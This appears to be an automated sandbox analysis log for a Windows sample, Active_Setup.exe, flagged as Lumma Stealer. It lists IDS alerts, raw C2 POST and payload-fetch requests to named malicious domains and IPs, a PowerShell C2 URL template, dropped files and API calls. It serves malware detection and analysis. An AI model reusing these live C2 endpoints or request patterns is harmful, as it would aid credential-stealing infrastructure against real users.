Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49744 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49739 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 172.67.198.102:443

Source: Joe Sandbox View	IP Address: 104.21.37.128 104.21.37.128
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.37.128:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.198.102:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.37.128:443 -> 192.168.2.4:49747

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8WCYPMDS8B2A1EVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18144Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ONAWXYWTPUVJV1RV5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8777Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EPPH1NOI3IJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20400Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WAD7N0ZZEPONUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1214Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YAGPBWW3J9HCSVJAQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1122Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: abberanteusz.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: AueDlcepKmDcJHZmhr.AueDlcepKmDcJHZmhr
Source: global traffic	DNS traffic detected: DNS query: abberanteusz.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: abberanteusz.click

Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Active_Setup.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Bother.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Active_Setup.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Bother.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Active_Setup.exe	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: powershell.exe, 00000011.00000002.2100438251.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft-
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: BrightLib.exe, 00000032.00000002.2654227836.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2655205864.0000000001A30000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2655985495.0000000006265000.00000004.00000020.00020000.00000000.sdmp, is-NQ5E5.tmp.22.dr	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000032.00000002.2655205864.0000000001A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/4
Source: BrightLib.exe, 00000032.00000002.2654822974.0000000001006000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/8E9D020000418BC04533E4458BF299448924244C8954241041F7F933C9898C24980000008BEA895
Source: Active_Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Active_Setup.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Active_Setup.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Active_Setup.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: Active_Setup.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Bother.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Bother.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000011.00000002.2104916640.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Active_Setup.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Bother.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Active_Setup.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Active_Setup.exe, Bother.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Active_Setup.exe	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	String found in binary or memory: http://www.autohotkey.comCould
Source: Bother.com, 0000000C.00000000.1713927350.0000000000CC5000.00000002.00000001.01000000.00000007.sdmp, Bother.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: BrightLib.exe, 00000032.00000002.2675907918.0000000039F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: powershell.exe, 00000011.00000002.2104916640.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000011.00000002.2104916640.0000000005255000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2110807205.000000000741A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000011.00000002.2101571497.00000000031B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.2104916640.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/
Source: OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000000.2161783216.0000000000981000.00000020.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: Bother.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: Bother.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2164829131.0000000002DDF000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2167901217.000000007F42B000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000000.2174618227.00000000005C1000.00000020.00000001.01000000.0000000B.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000000.2192829193.000000000100D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2164829131.0000000002DDF000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000003.2167901217.000000007F42B000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000000.2174618227.00000000005C1000.00000020.00000001.01000000.0000000B.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000000.2192829193.000000000100D000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.198.102:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\Active_Setup.exe	File created: C:\Windows\PromoOaks	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File created: C:\Windows\FinallyAsh	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	File created: C:\Windows\TheseRover	Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_004074BB	0_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: String function: 004062A3 appears 58 times

Source: Active_Setup.exe

Static PE information: invalid certificate

Source: OS47CTVTQTDUZX7YVJLO9.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: OS47CTVTQTDUZX7YVJLO9.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: OS47CTVTQTDUZX7YVJLO9.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: OS47CTVTQTDUZX7YVJLO9.exe.12.dr	Static PE information: Number of sections : 11 > 10
Source: OS47CTVTQTDUZX7YVJLO9.tmp.19.dr	Static PE information: Number of sections : 11 > 10

Source: Active_Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/37@5/3

Source: C:\Users\user\Desktop\Active_Setup.exe

0_2_004044A5

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\Active_Setup.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Regardless

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
